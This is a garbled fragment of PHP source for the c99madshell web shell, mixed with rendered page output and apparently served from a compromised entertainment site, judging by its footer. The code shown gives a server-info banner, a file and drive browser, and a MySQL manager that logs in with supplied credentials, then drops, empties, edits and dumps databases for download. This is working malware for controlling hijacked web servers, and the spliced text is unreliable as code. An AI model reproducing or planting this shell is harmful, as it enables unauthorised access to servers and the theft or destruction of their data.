$DISP_SERVER_SOFTWARE = str_replace ( "PHP/" . phpversion (), "PHP/" . phpversion () . "", htmlspecialchars ( $DISP_SERVER_SOFTWARE ) ); @ini_set ( "highlight.bg", $highlight_bg ); //FFFFFF @ini_set ( "highlight.comment", $highlight_comment ); //#FF8000 @ini_set ( "highlight.default", $highlight_default ); //#0000BB @ini_set ( "highlight.html", $highlight_html ); //#000000 @ini_set ( "highlight.keyword", $highlight_keyword ); //#007700 @ini_set ( "highlight.string", $highlight_string ); //#DD0000 if (! is_array ( $actbox )) { $actbox = array (); } $dspact = $act = htmlspecialchars ( $act ); $disp_fullpath = $ls_arr = $notls = null; $ud = urlencode ( $d ); ?> <?php echo getenv ( "HTTP_HOST" ); ?> - c99madshell

!C99madShell v. !

Software:  

uname -a: ", 1 ); ?> 

", 1 ); } else { echo get_current_user (); } ?> 

Safe-mode: 

" . htmlspecialchars ( $b ) . DIRECTORY_SEPARATOR . ""; $i ++; } echo "   "; if (is_writable ( $d )) { $wd = TRUE; $wdt = "[ ok ]"; echo "" . view_perms ( fileperms ( $d ) ) . ""; } else { $wd = FALSE; $wdt = "[ Read-Only ]"; echo "" . view_perms_color ( $d ) . ""; } if (is_callable ( "disk_free_space" )) { $free = disk_free_space ( $d ); $total = disk_total_space ( $d ); if ($free === FALSE) { $free = 0; } if ($total === FALSE) { $total = 0; } if ($free < 0) { $free = 0; } if ($total < 0) { $total = 0; } $used = $total - $free; $free_percent = round ( 100 / ($total / $free), 2 ); echo "
Free " . view_size ( $free ) . " of " . view_size ( $total ) . " (" . $free_percent . "%)"; } echo "
"; $letters = ""; if ($win) { $v = explode ( "\\", $d ); $v = $v [0]; foreach ( range ( "a", "z" ) as $letter ) { $bool = $isdiskette = in_array ( $letter, $safemode_diskettes ); if (! $bool) { $bool = is_dir ( $letter . ":\\" ); } if ($bool) { $letters .= "[ "; if ($letter . ":" != $v) { $letters .= $letter; } else { $letters .= "" . $letter . ""; } $letters .= " ] "; } } if (! empty ( $letters )) { echo "Detected drives: " . $letters . "
"; } } if (count ( $quicklaunch ) > 0) { foreach ( $quicklaunch as $item ) { $item [1] = str_replace ( "%d", urlencode ( $d ), $item [1] ); $item [1] = str_replace ( "%sort", $sort, $item [1] ); $v = realpath ( $d . ".." ); if (empty ( $v )) { $a = explode ( DIRECTORY_SEPARATOR, $d ); unset ( $a [count ( $a ) - 2] ); $v = join ( DIRECTORY_SEPARATOR, $a ); } $item [1] = str_replace ( "%upd", urlencode ( $v ), $item [1] ); echo "" . $item [0] . "    "; } } echo "


"; if ((! empty ( $donated_html )) and (in_array ( $act, $donated_act ))) { echo "
" . $donated_html . "

"; } echo "
"; if ($act == "") { $act = $dspact = "ls"; } if ($act == "sql") { echo ("
"); if (isset ( $_POST ['sql_login'] )) { $sql_login = htmlspecialchars ( $_POST ['sql_login'] ); } if (isset ( $_POST ['sql_passwd'] )) { $sql_passwd = htmlspecialchars ( $_POST ['sql_passwd'] ); } if (isset ( $_POST ['sql_server'] )) { $sql_server = htmlspecialchars ( $_POST ['sql_server'] ); } if (isset ( $_POST ['sql_port'] )) { $sql_port = htmlspecialchars ( $_POST ['sql_port'] ); } if (isset ( $_POST ['sql_db'] )) { $sql_db = htmlspecialchars ( $_POST ['sql_db'] ); } if (isset ( $_POST ['sql_act'] )) { $sql_act = htmlspecialchars ( $_POST ['sql_act'] ); } if (isset ( $_POST ['sql_tbl'] )) { $sql_tbl = htmlspecialchars ( $_POST ['sql_tbl'] ); } if (isset ( $_POST ['sql_tbl_act'] )) { $sql_tbl_act = htmlspecialchars ( $_POST ['sql_tbl_act'] ); } if (isset ( $_POST ['thistbl'] )) { $thistbl = htmlspecialchars ( $_POST ['thistbl'] ); } if (isset ( $_POST ['sql_order'] )) { $sql_order = htmlspecialchars ( $_POST ['sql_order'] ); } if (isset ( $_POST ['sql_tbl_ls'] )) { $sql_tbl_ls = htmlspecialchars ( $_POST ['sql_tbl_ls'] ); } if (isset ( $_POST ['sql_tbl_le'] )) { $sql_tbl_le = htmlspecialchars ( $_POST ['sql_tbl_le'] ); } if (isset ( $_POST ['sql_query'] )) { $sql_query = htmlspecialchars ( $_POST ['sql_query'] ); } if (isset ( $_POST ['sql_tbl_insert_q'] )) { $sql_tbl_insert_q = urldecode ( htmlspecialchars ( $_POST ['sql_tbl_insert_q'] ) ); } if (isset ( $_POST ['sql_tbl_insert_functs'] )) { $sql_tbl_insert_functs = htmlspecialchars ( $_POST ['sql_tbl_insert_functs'] ); } if (isset ( $_POST ['sql_tbl_insert_radio'] )) { $sql_tbl_insert_radio = htmlspecialchars ( $_POST ['sql_tbl_insert_radio'] ); } ?> "; if (! $sql_sock) { ?>
SQL Manager:
"; if (! $sql_sock) { if (! $sql_server) { echo "NO CONNECTION"; } else { echo "
Can't connect
"; echo "" . $err . ""; } } else { $sqlquicklaunch = array (); $sqlquicklaunch [] = array ("Index", "#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='" . htmlspecialchars ( $sql_login ) . "';document.sql.sql_passwd.value='" . htmlspecialchars ( $sql_passwd ) . "';document.sql.sql_server.value='" . htmlspecialchars ( $sql_server ) . "';document.sql.sql_port.value='" . htmlspecialchars ( $sql_port ) . "';document.sql.submit();" ); $sqlquicklaunch [] = array ("Query", "#\" onclick=\"document.sql.act.value='sql';document.sql.sql_act.value='query';document.sql.sql_db.value='" . urlencode ( $sql_db ) . "';document.sql.sql_tbl.value='" . urlencode ( $sql_tbl ) . "';document.sql.sql_login.value='" . htmlspecialchars ( $sql_login ) . "';document.sql.sql_passwd.value='" . htmlspecialchars ( $sql_passwd ) . "';document.sql.sql_server.value='" . htmlspecialchars ( $sql_server ) . "';document.sql.sql_port.value='" . htmlspecialchars ( $sql_port ) . "';document.sql.submit();" ); $sqlquicklaunch [] = array ("Server-status", "#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='" . htmlspecialchars ( $sql_login ) . "';document.sql.sql_passwd.value='" . htmlspecialchars ( $sql_passwd ) . "';document.sql.sql_server.value='" . htmlspecialchars ( $sql_server ) . "';document.sql.sql_port.value='" . htmlspecialchars ( $sql_port ) . "';document.sql.sql_act.value='serverstatus';document.sql.submit();" ); $sqlquicklaunch [] = array ("Server variables", "#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='" . htmlspecialchars ( $sql_login ) . "';document.sql.sql_passwd.value='" . htmlspecialchars ( $sql_passwd ) . "';document.sql.sql_server.value='" . htmlspecialchars ( $sql_server ) . "';document.sql.sql_port.value='" . htmlspecialchars ( $sql_port ) . "';document.sql.sql_act.value='servervars';document.sql.submit();" ); $sqlquicklaunch [] = array ("Processes", "#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='" . htmlspecialchars ( $sql_login ) . "';document.sql.sql_passwd.value='" . htmlspecialchars ( $sql_passwd ) . "';document.sql.sql_server.value='" . htmlspecialchars ( $sql_server ) . "';document.sql.sql_port.value='" . htmlspecialchars ( $sql_port ) . "';document.sql.sql_act.value='processes';document.sql.submit();" ); $sqlquicklaunch [] = array ("Logout", "#\" onclick=\"document.sql.act.value='sql';document.sql.submit();" ); echo "
MySQL " . mysql_get_server_info () . " (proto v." . mysql_get_proto_info () . ") running in " . htmlspecialchars ( $sql_server ) . ":" . htmlspecialchars ( $sql_port ) . " as " . htmlspecialchars ( $sql_login ) . "@" . htmlspecialchars ( $sql_server ) . " (password - \"" . htmlspecialchars ( $sql_passwd ) . "\")
"; if (count ( $sqlquicklaunch ) > 0) { foreach ( $sqlquicklaunch as $item ) { echo "[ " . $item [0] . " ] "; } } echo "
"; } echo "
i
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  •  Please, fill the form:
    Username Password  Database 
    Host PORT
    Home
    " . htmlspecialchars ( $sql_db ) . " ]---
    "; $c = 0; while ( $row = mysql_fetch_array ( $result ) ) { $count = mysql_query ( "SELECT COUNT(*) FROM " . $row [0] ); $count_row = mysql_fetch_array ( $count ); echo "ยป " . htmlspecialchars ( $row [0] ) . " (" . $count_row [0] . ")
    "; mysql_free_result ( $count ); $c ++; } if (! $c) { echo "No tables found in database."; } } } else { ?>
    Home

    Please, select database
    "; //Start center panel $diplay = TRUE; if ($sql_db) { if (! is_numeric ( $c )) { $c = 0; } if ($c == 0) { $c = "no"; } echo "
    There are " . $c . " table(s) in this DB (" . htmlspecialchars ( $sql_db ) . ").
    "; if (count ( $dbquicklaunch ) > 0) { foreach ( $dbsqlquicklaunch as $item ) { echo "[ " . $item [0] . " ] "; } } echo "
    "; $acts = array ("", "dump" ); if ($sql_act == "tbldrop") { $sql_query = "DROP TABLE"; foreach ( $boxtbl as $v ) { $sql_query .= "\n`" . $v . "` ,"; } $sql_query = substr ( $sql_query, 0, - 1 ) . ";"; $sql_act = "query"; } elseif ($sql_act == "tblempty") { $sql_query = ""; foreach ( $boxtbl as $v ) { $sql_query .= "DELETE FROM `" . $v . "` \n"; } $sql_act = "query"; } elseif ($sql_act == "tbldump") { if (count ( $boxtbl ) > 0) { $dmptbls = $boxtbl; } elseif ($thistbl) { $dmptbls = array ($sql_tbl ); } $sql_act = "dump"; } elseif ($sql_act == "tblcheck") { $sql_query = "CHECK TABLE"; foreach ( $boxtbl as $v ) { $sql_query .= "\n`" . $v . "` ,"; } $sql_query = substr ( $sql_query, 0, - 1 ) . ";"; $sql_act = "query"; } elseif ($sql_act == "tbloptimize") { $sql_query = "OPTIMIZE TABLE"; foreach ( $boxtbl as $v ) { $sql_query .= "\n`" . $v . "` ,"; } $sql_query = substr ( $sql_query, 0, - 1 ) . ";"; $sql_act = "query"; } elseif ($sql_act == "tblrepair") { $sql_query = "REPAIR TABLE"; foreach ( $boxtbl as $v ) { $sql_query .= "\n`" . $v . "` ,"; } $sql_query = substr ( $sql_query, 0, - 1 ) . ";"; $sql_act = "query"; } elseif ($sql_act == "tblanalyze") { $sql_query = "ANALYZE TABLE"; foreach ( $boxtbl as $v ) { $sql_query .= "\n`" . $v . "` ,"; } $sql_query = substr ( $sql_query, 0, - 1 ) . ";"; $sql_act = "query"; } elseif ($sql_act == "deleterow") { $sql_query = ""; if (! empty ( $boxrow_all )) { $sql_query = "DELETE * FROM `" . $sql_tbl . "`;"; } else { foreach ( $boxrow as $v ) { $sql_query .= "DELETE * FROM `" . $sql_tbl . "` WHERE" . $v . " LIMIT 1;\n"; } $sql_query = substr ( $sql_query, 0, - 1 ); } $sql_act = "query"; } elseif ($sql_tbl_act == "insert") { if ($sql_tbl_insert_radio == 1) { $keys = ""; $akeys = array_keys ( $sql_tbl_insert ); foreach ( $akeys as $v ) { $keys .= "`" . addslashes ( $v ) . "`, "; } if (! empty ( $keys )) { $keys = substr ( $keys, 0, strlen ( $keys ) - 2 ); } $values = ""; $i = 0; foreach ( array_values ( $sql_tbl_insert ) as $v ) { if ($funct = $sql_tbl_insert_functs [$akeys [$i]]) { $values .= $funct . " ("; } $values .= "'" . addslashes ( $v ) . "'"; if ($funct) { $values .= ")"; } $values .= ", "; $i ++; } if (! empty ( $values )) { $values = substr ( $values, 0, strlen ( $values ) - 2 ); } $sql_query = "INSERT INTO `" . $sql_tbl . "` ( " . $keys . " ) VALUES ( " . $values . " );"; $sql_act = "query"; $sql_tbl_act = "browse"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere ( $sql_tbl_insert, ", ", $sql_tbl_insert_functs ); $sql_query = "UPDATE `" . $sql_tbl . "` SET " . $set . " WHERE " . $sql_tbl_insert_q . " LIMIT 1;"; $result = mysql_query ( $sql_query ) or print ( mysql_smarterror () ); $result = mysql_fetch_array ( $result, MYSQL_ASSOC ); $sql_act = "query"; $sql_tbl_act = "browse"; } } if ($sql_act == "query") { $sql_query = urldecode ( $sql_query ); echo "
    "; if (($submit) and (! $sql_query_result) and ($sql_confirm)) { if (! $sql_query_error) { $sql_query_error = "Query was empty"; } echo "Error:
    " . $sql_query_error . "
    "; } if ($sql_query_result or (! $sql_confirm)) { $sql_act = $sql_goto; } if ((! $submit) or ($sql_act)) { echo "
    "; if (($sql_query) and (! $submit)) { echo "Do you really want to:"; } else { echo "SQL-Query :"; } echo "



     
    "; } } if (in_array ( $sql_act, $acts )) { ?>
    Create new table:
     
    Dump DB:
    "> 
    "; } if ($sql_act == "newtbl") { echo ""; if ((mysql_create_db ( $sql_newdb )) and (! empty ( $sql_newdb ))) { echo "DB \"" . htmlspecialchars ( $sql_newdb ) . "\" has been created with success!
    "; } else { echo "Can't create DB \"" . htmlspecialchars ( $sql_newdb ) . "\".
    Reason: " . mysql_smarterror (); } } elseif ($sql_act == "dump") { if (empty ( $submit )) { $diplay = FALSE; echo "
    SQL-Dump:

    "; echo "DB: 

    "; $v = join ( ";", $dmptbls ); echo "Only tables (explode \";\") 1: 

    "; if ($dump_file) { $tmp = $dump_file; } else { $tmp = htmlspecialchars ( "./dump_" . getenv ( "SERVER_NAME" ) . "_" . $sql_db . "_" . date ( "d-m-Y-H-i-s" ) . ".sql" ); } echo "File: 

    "; echo "Download:  

    "; echo "Save to file:  "; echo "



    1 - all, if empty"; echo "
    "; } else { $diplay = TRUE; $set = array (); $set ["sock"] = $sql_sock; $set ["db"] = $sql_db; $dump_out = "download"; $set ["print"] = 0; $set ["nl2br"] = 0; $set [""] = 0; $set ["file"] = $dump_file; $set ["add_drop"] = TRUE; $set ["onlytabs"] = array (); if (! empty ( $dmptbls )) { $set ["onlytabs"] = explode ( ";", $dmptbls ); } $ret = mysql_dump ( $set ); if ($sql_dump_download) { @ob_clean (); header ( "Content-type: application/octet-stream" ); header ( "Content-length: " . strlen ( $ret ) ); header ( "Content-disposition: attachment; filename=\"" . basename ( $sql_dump_file ) . "\";" ); echo $ret; exit (); } elseif ($sql_dump_savetofile) { $fp = fopen ( $sql_dump_file, "w" ); if (! $fp) { echo "Dump error! Can't write to \"" . htmlspecialchars ( $sql_dump_file ) . "\"!"; } else { fwrite ( $fp, $ret ); fclose ( $fp ); echo "Dumped! Dump has been writed to \"" . htmlspecialchars ( realpath ( $sql_dump_file ) ) . "\" (" . view_size ( filesize ( $sql_dump_file ) ) . ")."; } } else { echo "Dump: nothing to do!"; } } } if ($diplay) { if (! empty ( $sql_tbl )) { if (empty ( $sql_tbl_act )) { $sql_tbl_act = "browse"; } $count = mysql_query ( "SELECT COUNT(*) FROM `" . $sql_tbl . "`;" ); $count_row = mysql_fetch_array ( $count ); mysql_free_result ( $count ); $tbl_struct_result = mysql_query ( "SHOW FIELDS FROM `" . $sql_tbl . "`;" ); $tbl_struct_fields = array (); while ( $row = mysql_fetch_assoc ( $tbl_struct_result ) ) { $tbl_struct_fields [] = $row; } if ($sql_ls > $sql_le) { $sql_le = $sql_ls + $perpage; } if (empty ( $sql_tbl_page )) { $sql_tbl_page = 0; } if (empty ( $sql_tbl_ls )) { $sql_tbl_ls = 0; } if (empty ( $sql_tbl_le )) { $sql_tbl_le = 30; } $perpage = $sql_tbl_le - $sql_tbl_ls; if (! is_numeric ( $perpage )) { $perpage = 10; } $numpages = $count_row [0] / $perpage; $e = explode ( " ", $sql_order ); if (count ( $e ) == 2) { if ($e [0] == "d") { $asc_desc = "DESC"; } else { $asc_desc = "ASC"; } $v = "ORDER BY `" . $e [1] . "` " . $asc_desc . " "; }
    Home | RSS Feeds | DMCA | Upload Your Pics
    Copyright IPO Entertainment. All rights reserved A ClickX Network Site